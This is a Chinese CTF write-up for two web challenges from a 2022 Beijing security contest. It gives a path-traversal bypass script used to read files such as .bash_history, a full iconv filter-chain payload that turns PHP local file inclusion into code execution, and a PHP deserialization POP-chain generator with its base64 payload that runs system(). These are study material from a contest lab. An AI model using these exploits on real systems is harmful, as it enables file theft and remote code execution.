2022北京工业互联网安全大赛初赛WP-Web
这次比赛Web只有两道题, 因为早上要上课到十二点才放学, 但是比赛三点多就比赛结束了, 所以做的很匆忙, 第一题的有两层(这点搞得我很难受…), 第二题的话就是一个使用引用修改变量
ezRead
题目一进去就是一个点击的地方,点进去之后看到访问的链接是/read.php?Book=ZGRsLnR4dA==
解码看到内容为ddl.txt
,然后对这个内容不断微调发现是过滤了../
,会把../
替换为空,然后就通过双写的方法..././aaa
在删除../
之后就是剩下一个../aaa
,因此完成绕过
然后写个简单的脚本对文件进行读取
代码语言:javascript复制import base64
import requests
url="http://eci-2ze1ch78qz7wb5w8lq6o.cloudeci1.ichunqiu.com/"
filename="/home/ctf/.bash_history"
res=requests.get(url "read.php?Book=" base64.b64encode(("../../../../../../../.." filename).replace("../","..././").encode()).decode())
print(res.text)
通过报错可以知道read.php
文件绝对路径为/var/www/ctf/read.php
之后拿到read.php
源码
<?php
error_reporting(2);
file = base64_decode(isset(_GET['Book']) ? _GET['Book'] : "");
if (file == '') {
header("location:index.html");
}
file = str_replace(array("../", "..""), "",file);
file = 'books/' .file;
final = file_get_contents(file);
echo $final;
?>
可以看到就是过滤了../
和..
,这对我们来说几乎跟没有一样
然而之后呢? :>
读取/flag
是没有对应文件的, 然后我通过爆破读取/proc/self/fd
下面的描述符拿到了访问记录, 但是全部都是我自己的访问记录, 并没有flag访问记录之类的,
之后我又想查看日志文件但是不论/var/log/apache2/aeecee.log
还是/var/log/apache2/error.log
均为空,/proc/self/environ
无法访问,配置文件也没有什么异常的,到这里我就呆住了
然后又翻了一会没见到什么信息就翘了去做第二题了
然而第二题虽然难度不高但是还是寄了,在比赛结束之后才写好的exp脚本, 然后在比赛结束前10分钟的时候才在/home/ctf/.bash_history
找到了异常,
通过查看命令记录可以看到有一个cd到/var/www/ctf/V72J1dn23wjFrq
的记录, 然后一访问/V72J1dn23wjFrq
就直接看到整个目录, 里面有个demo.php
使用上面的功能读一下源码拿到demo.php
代码如下:
<?php
error_reporting(0);
file=_GET['ops'];
file = str_replace(array("../", "..""), "",file);
include_once($file);
?>
和上面一样,但是这次直接是文件包含了
按理来说一般就是可以直接通过有访问记录的fd描述符
或者session_progress文件上传临时文件
来打, 但是都没成,另外试了pear文件包含
和iconv字符集构造webshell
也失败了
在这里就陷入僵局并且比赛结束了, 发现是iconv字符集转换器
确实的问题(应该是), 在hxp CTF 2021 – The End Of LFI?的脚本有字符集缺时失但是 ciscn2022-build里面的脚本就没问题, 另外再挂个工具链接PHP_INCLUDE_TO_SHELL_CHAR_DICT
之后就是直接payload一把梭
代码语言:javascript复制php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP866.CSUNICODE|convert.iconv.CSISOLATIN5.ISO_6937-2|convert.iconv.CP950.UTF-16BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.865.UTF16|convert.iconv.CP901.ISO6937|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.857.SHIFTJISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.851.UTF-16|convert.iconv.L1.T.618BIT|convert.iconv.ISO-IR-103.850|convert.iconv.PT154.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.SJIS.GBK|convert.iconv.L10.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.BIG5|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.CP1256.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.865.UTF16|convert.iconv.CP901.ISO6937|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.851.UTF8|convert.iconv.L7.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.CP1133.IBM932|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.851.BIG5|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1162.UTF32|convert.iconv.L4.T.61|convert.iconv.ISO6937.EUC-JP-MS|convert.iconv.EUCKR.UCS-4LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.MAC.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.MAC.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSIBM1161.UNICODE|convert.iconv.ISO-IR-156.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UTF16|convert.iconv.L6.UTF-16|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.SJIS.GBK|convert.iconv.L10.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.857.SHIFTJISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode/resource=/etc/passwd
但是需要注意一点:
flag不能直接通过grep -r flag /
找到,因为flag的搜索过程会在查找过程中中断, flag的位置在/home
下面,直接cat就行
wakeup
这题大遗憾了, 之前还自己出过这个知识点的题目放在迎新赛呢, 不过这次因为太久没做过这个引用修改环境变量的题目直接翻车了, 一开始直接在全局环境构建代码了, 这个如果是在全局变量里面的话有些即使是使用了&
进行指针引用的地方也还是会被直接复制, 而不是使用引用的方式进行序列化, 这时候使用的就不是指针了,但是因为太懒了不想重新写代码所以一直舍不得重写, 这就整的把自己送走了, 赛后才全部推倒在构造函数重写了一遍
下面回到题目
开局直接上源码
代码语言:javascript复制<?php
class KeyPort {
public function __call(name,arguments)
{
if(!isset(this->wakeup)||!this->wakeup){
call_user_func_array(this->format[name],arguments);
}
}
public function finish(){this->format=array();
return this->finish->iffinish;
}
public function __wakeup(){this->wakeup=True;
}
}
class ArrayObj{
private iffinish;
publicname;
public function __get(name){
returnthis->name=this->name[name];
}
}
class SunCorpa {
public function __destruct()
{
if (this->process->finish()) {
this->process->forward(this->_forward);
}
}
}
class MoonCorpa {
public function __destruct()
{
if (this->process->finish()) {this->options['new']->forward(this->_forward);
}
}
public function __wakeup(){
}
}
if(_GET['u']){
unserialize(base64_decode($_GET['u']));
}else{
highlight_file(__FILE__);
}
一眼看到call_user_func_array但是想要执行的话就要this->wakeup未定义或者!
然后往下看就见到了ArrayObj::__get
函数, 在里面看到了赋值, 然后往下翻就没有其他利用价值比较大的漏洞点了,后面两个都是用来触发反序列化的,
这时候第一反应就是应该就是使用引用修改wakeup
变量, 后面也确实是这么回事的, 下面就总结一下需要注意的几个点(也是简单学习一下了):
反序列化后的对象会先执行对象中的属性的__destruct
函数,最后才会执行对象的__destruct
(就是儿子先走bab后面才跟上)
反序列化的变量即使有var
属性如果在class1
定义var
变量为private
那么如果在其他作用域中获取输出这个var
那么就会触发calss1
的__get
函数
- 如果
class1
的对象被反序列化为c1
,并且在class2
中被通过$this->c1->var
的方式获取c1
的var
变量,那么就会有以下情况: - private变量, 只要在外部被调用都会调用
__get
- public变量, 如果调用的对象反序列化对象中没有定义就会取出声明变量的时候定义的默认值, 反序列化对象中有定义的话就取出定义的值
- 未声明变量, 如果调用的对象反序列化对象中没有定义就会调用
__get
, 反序列化对象中有定义的话就取出定义的值
下面就是例子, 下面的反序列化数据是注释代码生成的, 可以分别测试没有定义变量, 定义为public变量,private变量的时候分别对应的几种情况
代码语言:javascript复制test2->var2.PHP_EOL);
}
}
class test2{
// private var3="test2";
// publicvar4="test2";
public function __construct(){
this->var2="test2";
}
public function __get(name){
printf("EXECUTE2::".name.PHP_EOL);
return "test2's __get return";
}
public function __wakeup(){
printf("test2's __Wakeup::".this->var2.PHP_EOL);
}
}
//t1=new test1();
//t1->test2=new test2();
//t1->test2->var2="tets2_var2";
//printf(base64_encode(serialize(t1)).PHP_EOL);
unserialize(base64_decode('Tzo1OiJ0ZXN0MSI6MTp7czo1OiJ0ZXN0MiI7Tzo1OiJ0ZXN0MiI6MTp7czo0OiJ2YXIyIjtzOjEwOiJ0ZXRzMl92YXIyIjt9fQ=='));
把private注释取消掉就可以看到test2
的__get
函数被调用
使用引用的时候如果是在全局环境中的变量class2
被通过指针方式在多个地方被引用作为一个对象class1
的属性例如class1->temp=$class2
, 并且class1
对象被序列化的话class2
就会被直接复制, 然后后面其他的引用就不会再复制(就是说引用的方式被多次使用的话对象是不会被复制多份的), 但是想要把变量赋值到没有定义的属性上面的话就会直接exit 255
程序中止, 这个搞得我很烦, 但是在类内的__construct
写的话就不会有这个问题, 而且关系也更加清晰(个人感觉)
详细的分析就不想细说了, 直接放个paylaod吧:
代码语言:javascript复制<?php
class KeyPort {
}
class ArrayObj{
}
class MoonCorpa {
}
class SunCorpa {
public function __construct(){
global validation;
if(validation){
validation=0;
var_dump(-1);sunCorpa=new SunCorpa();
this->s1=sunCorpa;
this->s2=new SunCorpa;arrayObj1 = new ArrayObj();//设wakeup
this->a1=arrayObj1;
this->a2=new ArrayObj();keyPort1=new KeyPort();
this->k1=keyPort1;
this->k2=new KeyPort();this->k3=new KeyPort();
moonCorpa=new MoonCorpa();this->m1=moonCorpa;this->m2=new MoonCorpa();
var_dump(1);
//通过引用对wakeup变量赋值,this->process->finish()语句会返回falsethis->s1->process=&this->k1;this->k1->finish=&this->a1;this->a1->iffinish= &this->k1->wakeup;this->a1->name=array("iffinish"=>false);
//通过引用对format变量赋值,this->process->finish()返回array("forward"=>"system"),通过if判断,执行下面的format语句this->m1->_forward="calc";
this->m1->process=&this->k2;
this->k2->finish=&this->a2;
this->a2->iffinish= &this->k1->format;
this->a2->name=array("iffinish"=>array("forward"=>"system"));this->m1->options=array("new"=>&this->k1);ser=base64_encode(serialize(this));
file_put_contents("1",ser);
var_dump(ser);
}
}
}validation=1;
new SunCorpa();
生成的payload实例:
代码语言:javascript复制Tzo4OiJTdW5Db3JwYSI6OTp7czoyOiJzMSI7Tzo4OiJTdW5Db3JwYSI6MTp7czo3OiJwcm9jZXNzIjtPOjc6IktleVBvcnQiOjM6e3M6NjoiZmluaXNoIjtPOjg6IkFycmF5T2JqIjoyOntzOjg6ImlmZmluaXNoIjtOO3M6NDoibmFtZSI7YToxOntzOjg6ImlmZmluaXNoIjtiOjA7fX1zOjY6Indha2V1cCI7Ujo1O3M6NjoiZm9ybWF0IjtOO319czoyOiJzMiI7Tzo4OiJTdW5Db3JwYSI6MDp7fXM6MjoiYTEiO1I6NDtzOjI6ImEyIjtPOjg6IkFycmF5T2JqIjoyOntzOjg6ImlmZmluaXNoIjtSOjg7czo0OiJuYW1lIjthOjE6e3M6ODoiaWZmaW5pc2giO2E6MTp7czo3OiJmb3J3YXJkIjtzOjY6InN5c3RlbSI7fX19czoyOiJrMSI7UjozO3M6MjoiazIiO086NzoiS2V5UG9ydCI6MTp7czo2OiJmaW5pc2giO1I6MTA7fXM6MjoiazMiO086NzoiS2V5UG9ydCI6MDp7fXM6MjoibTEiO086OToiTW9vbkNvcnBhIjozOntzOjg6Il9mb3J3YXJkIjtzOjQ6ImNhbGMiO3M6NzoicHJvY2VzcyI7UjoxNDtzOjc6Im9wdGlvbnMiO2E6MTp7czozOiJuZXciO1I6Mzt9fXM6MjoibTIiO086OToiTW9vbkNvcnBhIjowOnt9fQ==
在index.php加一句unserialize(base64_decode(file_get_contents("1")));
测试一下: